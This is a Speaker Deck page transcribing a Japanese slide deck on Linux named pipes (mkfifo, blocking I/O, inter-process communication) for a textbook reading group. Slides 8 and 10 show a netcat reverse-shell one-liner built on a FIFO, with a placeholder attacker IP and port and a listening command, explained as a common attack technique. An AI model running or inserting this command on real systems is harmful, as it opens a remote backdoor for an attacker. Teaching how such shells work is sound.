Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
名前付きパイプ FIFO
Search
Sponsored
·
Your Podcast. Everywhere. Effortlessly.
Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.
→
Osumi, Yusuke
February 13, 2021
Technology
0
550
名前付きパイプ FIFO
「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/
Osumi, Yusuke
February 13, 2021
Tweet
Share
More Decks by Osumi, Yusuke
See All by Osumi, Yusuke
本の紹介の補足
ozuma
1
390
gitサービス3兄弟
ozuma
0
410
簡体字は楽
ozuma
0
470
ソフトウェアは固定資産
ozuma
0
430
ASCIIコードの小話
ozuma
0
450
今いるディレクトリを消すとどうなる
ozuma
1
380
文章、作文技法 リモートワーク
ozuma
1
910
CentOSの今後のリリース(簡易説明)
ozuma
0
400
AndroidでもLinux動いてるよ
ozuma
0
440
Other Decks in Technology
See All in Technology
Oracle Database@Google Cloud:サービス概要のご紹介
oracle4engineer
PRO
5
1.1k
us-east-1 に障害が起きた時に、 ap-northeast-1 にどんな影響があるか 説明できるようになろう!
miu_crescent
PRO
1
650
LLM活用の壁を超える:リクルートR&Dの戦略と打ち手
recruitengineers
PRO
1
250
新職業『オーケストレーター』誕生 — エージェント10体を同時に回すAgentOps
gunta
4
1.5k
AIエージェント・エコノミーの幕開け 〜 オープンプロトコルが変えるビジネスの未来 〜
shukob
0
100
Oracle Database@AWS:サービス概要のご紹介
oracle4engineer
PRO
4
1.6k
越境する組織づくり ─ 多様性を前提にしたチームビルディングとリードの実践知
kido_engineer
2
110
研究開発部メンバーの働き⽅ / Sansan R&D Profile
sansan33
PRO
4
22k
Kiro のクレジットを使い切る!
otanikohei2023
0
110
EMからICへ、二周目人材としてAI全振りのプロダクト開発で見つけた武器
yug1224
4
420
生成AIの利用とセキュリティ /gen-ai-and-security
mizutani
1
1.2k
製造業ドメインにおける LLMプロダクト構築: 複雑な文脈へのアプローチ
caddi_eng
1
460
Featured
See All Featured
The Cult of Friendly URLs
andyhume
79
6.8k
The SEO identity crisis: Don't let AI make you average
varn
0
400
Become a Pro
speakerdeck
PRO
31
5.8k
The Limits of Empathy - UXLibs8
cassininazir
1
240
The agentic SEO stack - context over prompts
schlessera
0
680
Organizational Design Perspectives: An Ontology of Organizational Design Elements
kimpetersen
PRO
1
620
Primal Persuasion: How to Engage the Brain for Learning That Lasts
tmiket
0
280
Believing is Seeing
oripsolob
1
72
ラッコキーワード サービス紹介資料
rakko
1
2.5M
KATA
mclloyd
PRO
35
15k
Building a Scalable Design System with Sketch
lauravandoore
463
34k
CSS Pre-Processors: Stylus, Less & Sass
bermonpainter
360
30k
Transcript
名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13
名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $
tail -f fifo (別のターミナルで) 読み込んで解放
名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo
"Hello" > fifo 今度は書き込むとブロックされない
名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1.
入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man
mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
6 $ cat sample.txt | sort $ cat sample.txt >
fifo $ sort < fifo 無名パイプ 名前付きパイプ
プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信
名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる
もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る